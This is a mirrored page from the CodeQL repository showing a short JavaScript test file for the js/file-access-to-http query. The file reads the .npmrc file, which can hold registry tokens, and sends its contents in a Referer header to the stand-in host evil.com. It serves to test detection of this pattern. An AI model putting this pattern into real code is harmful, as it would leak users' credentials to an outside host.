mirror of
https://github.com/github/codeql.git
synced 2026-04-09 09:04:03 +02:00
11 lines
294 B
JavaScript
11 lines
294 B
JavaScript
var fs = require("fs"),
|
|
https = require("https");
|
|
|
|
var content = fs.readFileSync(".npmrc", "utf8"); // $ Source[js/file-access-to-http]
|
|
https.get({
|
|
hostname: "evil.com",
|
|
path: "/upload",
|
|
method: "GET",
|
|
headers: { Referer: content }
|
|
}, () => { }); // $ Alert[js/file-access-to-http]
|